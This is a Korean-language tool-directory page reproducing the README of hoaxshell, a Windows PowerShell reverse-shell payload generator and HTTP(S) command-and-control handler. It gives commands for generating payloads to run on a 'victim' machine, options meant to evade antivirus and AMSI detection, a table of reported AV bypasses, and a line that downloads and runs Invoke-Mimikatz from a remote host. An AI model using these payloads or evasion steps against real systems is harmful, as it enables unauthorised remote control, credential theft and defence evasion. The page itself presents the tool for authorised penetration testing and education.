Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
hoaxshell — http(s) 프로토콜을 악용하여 비콘형 리버스 셸을 구축하는 Windows 리버스 셸 페이로드 생성기 및 핸들러 | Kitploit
도구/GitHubGitHub/t3l3machus/hoaxshell
Privilege EscalationPayload GenerationExploitationReverse EngineeringPost-ExploitationPenetration TestingCommand and ControlRed Teaming
GitHubt3l3machus/hoaxshell

hoaxshell

http(s) 프로토콜을 악용하여 비콘형 리버스 셸을 구축하는 Windows 리버스 셸 페이로드 생성기 및 핸들러

저장소 보기
3.5k5241년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

hoaxshell

Python License

⚡ 이 프로젝트의 최신 버전은 새로워진 페이로드 템플릿이 포함된 HoaxShell 독립형 리스너입니다. https://revshells.com 에서 직접 사용할 수도 있습니다(리스너로 hoaxshell을 선택해야 합니다).

⚠️ 2022-10-18 기준으로 hoaxshell은 AMSI에 탐지됩니다(malware-encyclopedia). 생성된 페이로드를 사용하려면 난독화해야 합니다. 수동으로 난독화하고 MS Defender를 우회하는 방법에 대한 다음 영상을 확인하세요:

  • Hoaxshell 예시 -> youtube.com/watch?v=iElVfagdCD4
  • 일반적인 powershell revshell 템플릿 예시 -> youtube.com/watch?v=3HddKylkRzM

목적

hoaxshell은 http(s) 프로토콜을 남용하여 비콘(beacon) 형태의 리버스 셸을 구축하는 Windows 리버스 셸 페이로드 생성기 및 핸들러로, 다음 개념을 기반으로 합니다:

image

이 c2 개념(http 이외의 프로토콜이나 사전 설치된 exe를 사용해 구현할 수도 있음)은 셸이 있는 것처럼 보이게 하는 세션을 구축하는 데 사용될 수 있지만, 실제 pty와는 거리가 멉니다.

HoaxShell은 AV 소프트웨어를 상대로 좋은 성과를 냈습니다(자세한 내용은 AV 우회 PoC 표 참조). 현재는 일반적으로 탐지되지만, 생성된 페이로드는 자동화 도구나 수동으로 쉽게 난독화할 수 있습니다.

고지 사항: 순전히 테스트 및 교육 목적으로 제작되었습니다. 이 도구로 생성된 페이로드를 테스트할 명시적 허가와 승인이 없는 호스트에 실행하지 마십시오. 이 도구를 사용하여 발생하는 모든 문제에 대한 책임은 사용자에게 있습니다.

영상 소개

[2022-10-11] 최근에 공개된 멋진 영상, John Hammond 제작 -> youtube.com/watch?v=fgSARG82TJY
[2022-07-15] 오리지널 릴리스 데모, 제작자 본인 -> youtube.com/watch?v=SEufgD5UxdU

스크린샷

image

더 많은 스크린샷은 여기에서 확인하세요.

설치

root@kitploit:~
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py

사용법

중요: 탐지를 피하기 위한 수단으로, hoaxshell은 스크립트가 시작될 때마다 세션 ID, URL 경로 및 프로세스에 사용되는 사용자 지정 http 헤더 이름에 대한 임의 값을 자동으로 생성합니다. 생성된 페이로드는 해당 페이로드가 생성된 인스턴스에서만 작동합니다. -g 옵션을 사용하면 이 동작을 우회하여 활성 세션을 다시 설정하거나 과거에 생성된 페이로드를 hoaxshell의 새 인스턴스와 함께 재사용할 수 있습니다.

http를 통한 기본 셸 세션

hoaxshell을 실행하면 복사하여 피해자에게 주입할 수 있는 자체 PowerShell 페이로드가 생성됩니다. 기본적으로 페이로드는 편의를 위해 base64로 인코딩됩니다. 원본 페이로드가 필요한 경우 "rawpayload" 프롬프트 명령을 실행하거나 -r 인수로 hoaxshell을 시작하십시오. 피해자에게서 페이로드가 실행된 후에는 PowerShell 명령을 실행할 수 있습니다.

Invoke-Expression을 활용하는 페이로드(기본값)

root@kitploit:~
sudo python3 hoaxshell.py -s <your_ip>

파일에 명령을 작성하고 실행하는 페이로드

-x를 사용하여 피해자 머신에 생성할 .ps1 파일 이름(절대 경로)을 제공하십시오. 실행 전에 원본 페이로드를 확인하여 제공한 경로가 확실한지 확인해야 합니다.

root@kitploit:~
sudo python3 hoaxshell.py -s <your_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"

탐지를 피하기 위한 권장 사용법(http)

hoaxshell은 셸 세션 정보를 전송하기 위해 http 헤더를 사용합니다. 기본적으로 헤더에는 임의의 이름이 지정되며, 이는 정규식 기반 AV 규칙에 의해 탐지될 수 있습니다. -H를 사용하여 표준 또는 사용자 지정 http 헤더 이름을 제공하여 탐지를 피하십시오.

root@kitploit:~
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <your_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"

암호화된 셸 세션(https + 자체 서명 인증서)

이 특정 페이로드는 PowerShell이 SSL 인증서 검사를 건너뛰도록 지시하는 추가 코드 블록으로 시작하기 때문에 일종의 위험 신호이며, 이로 인해 의심스럽고 탐지하기 쉬우며 길이도 훨씬 길어집니다. 권장하지 않습니다.

root@kitploit:~
# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>

신뢰할 수 있는 인증서를 사용한 암호화된 셸 세션

도메인을 소유하고 있다면 이 옵션을 사용하여 DN을 -s로 제공하고 신뢰할 수 있는 인증서(-c cert.pem -k privkey.pem)를 함께 제공함으로써 더 짧고 탐지하기 어려운 https 페이로드를 생성할 수 있습니다.

root@kitploit:~
sudo python3 hoaxshell.py -s <your.domain.com> -t -c </path/to/cert.pem> -k <path/to/key.pem>

세션 복구 모드

실수로 터미널을 닫았거나 정전 등이 발생한 경우, 피해자 머신에서 페이로드가 계속 실행 중이라면 세션 복구 모드로 hoaxshell을 시작하여 세션 재설정을 시도할 수 있습니다.

root@kitploit:~
sudo python3 hoaxshell.py -s <your_ip> -g

중요: 복구하려는 세션과 동일한 설정(http/https, 포트 등)으로 hoaxshell을 시작해야 합니다.

제한 언어 모드 지원

-cm(--constraint-mode) 옵션과 함께 모든 페이로드 변형을 사용하여, 피해자가 PS를 제한 언어 모드(Constraint Language mode)로 실행하도록 구성된 경우에도 작동하는 페이로드를 생성할 수 있습니다. 이 옵션을 사용하면 리버스 셸의 stdout 디코딩 정확도가 다소 희생됩니다.

root@kitploit:~
sudo python3 hoaxshell.py -s <your_ip> -cm

image

터널링 도구(Ngrok / LocalTunnel)를 이용한 https 셸 세션

Ngrok 또는 LocalTunnel 터널링 프로그램을 활용하여 보안 터널을 통해 세션을 확보하세요. 고정 IP 주소가 없거나 ISP가 포트 포워딩을 금지하는 등의 문제를 해결할 수 있습니다.

Ngrok 서버에는 -ng 또는 --ngrok 사용

root@kitploit:~
sudo python3 hoaxshell.py -ng

LocalTunnel 서버에는 -lt 또는 --localtunnel 사용

root@kitploit:~
sudo python3 hoaxshell.py -lt

제한 사항

대화형 세션을 시작하는 명령을 실행하면 셸이 멈출 수 있습니다. 예시:

root@kitploit:~
# this command will execute succesfully and you will have no problem: 
> powershell echo 'This is a test'

# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
> powershell

# In the same manner, you won't have a problem executing this:
> cmd /c dir /a

# But this will cause your hoaxshell to hang:
> cmd.exe

따라서 예를 들어 hoaxshell을 통해 mimikatz를 실행하려면 다음과 같이 명령을 호출해야 합니다:

root@kitploit:~
hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'

요컨대, hoaxshell PowerShell 컨텍스트 내에서 대화형 세션을 시작하는 exe나 cmd를 실행하지 않도록 주의해야 합니다.

AV 우회 PoC

일부 훌륭한 분들이 MS Defender 이외의 AV 솔루션이 실행되는 시스템에 대해 hoaxshell의 페이로드를 탐지되지 않고 실행하는 PoC 영상을 저에게 보내주거나 공개했습니다. 아래는 링크가 포함된 참조 표입니다:

중요: 이러한 솔루션을 우회하기 위해 hoaxshell을 여전히 효과적으로 사용할 수 있을지는 알 수 없습니다. 탐지 가능성이 곧 변경될 것이라고 가정하는 것이 합리적입니다(아직 변경되지 않았더라도).

변경 내역

  • 13/10/2022 - 제한 언어 모드 지원(-cm) 옵션이 추가되었습니다.
  • 08/10/2022 - 터널링 도구 ngrok 또는 localtunnel을 사용하여 고정 IP 주소 및 포트 포워딩과 같은 제한을 우회하고 세션을 확보하는 PS 페이로드를 생성하는 -ng 및 -lt 옵션이 추가되었습니다.
  • 06/09/2022 - Invoke-Expression을 사용하는 대신 실행할 명령을 파일에 기록하는 새로운 페이로드가 추가되었습니다. 이를 사용하려면 사용자가 -x 옵션으로 피해자 머신의 .ps1 파일 이름(절대 경로)을 제공해야 합니다.
  • 04/09/2022 - 쉽게 플래그될 수 있는 구성 요소가 포함되어 있던 명령 전달 메커니즘을 개선하기 위한 수정이 이루어졌습니다. -t 옵션과 https_payload_trusted.ps1이 추가되었습니다. 이제 도메인 이름과 신뢰할 수 있는 인증서를 제공하여 hoaxshell을 사용할 수 있습니다. 이렇게 하면 더 짧고 탐지하기 어려운 https 페이로드가 생성됩니다.
  • 01/09/2022 - 공격 프로세스에 사용되는(기본적으로 임의의) 헤더에 사용자 지정 이름을 부여할 수 있는 -H 옵션이 추가되었습니다. 이 헤더는 셸의 세션 ID를 전달합니다. 예를 들어 "Authorization"과 같은 표준 헤더 이름을 사용하면 공격 탐지 가능성을 낮출 수 있습니다.
도구 다운로드
AV 솔루션날짜PoC
SentinelOne2022-10-18https://twitter.com/i/status/1582137400880336896
Norton2022-10-17https://twitter.com/i/status/1582278579244929024
Bitdefender2022-10-15https://www.linkedin.com/posts/rohitjain-19_hoaxshell-cy83rr0h1t-penetrationtesting-activity-6987080745139765248-8cdT?utm_source=share&utm_medium=member_desktop
McAfee2022-10-15https://twitter.com/i/status/1581605531365814273
Kaspersky2022-10-13https://www.youtube.com/watch?v=IyMH_eCC4Rk
Sophos2022-09-08https://www.youtube.com/watch?v=NYR0rWx4x8k
  • 31/08/2022 - PS 페이로드가 'Invoke-WebRequest' 유틸리티 대신 "Invoke-RestMethod'를 사용하도록 조정하는 -i 옵션이 추가되었습니다. 이제 사용자가 선택할 수 있습니다(이 이슈 덕분입니다). 또한 프롬프트에 존재하던 버그(경로가 가끔 잘못되던 문제)를 수정했습니다.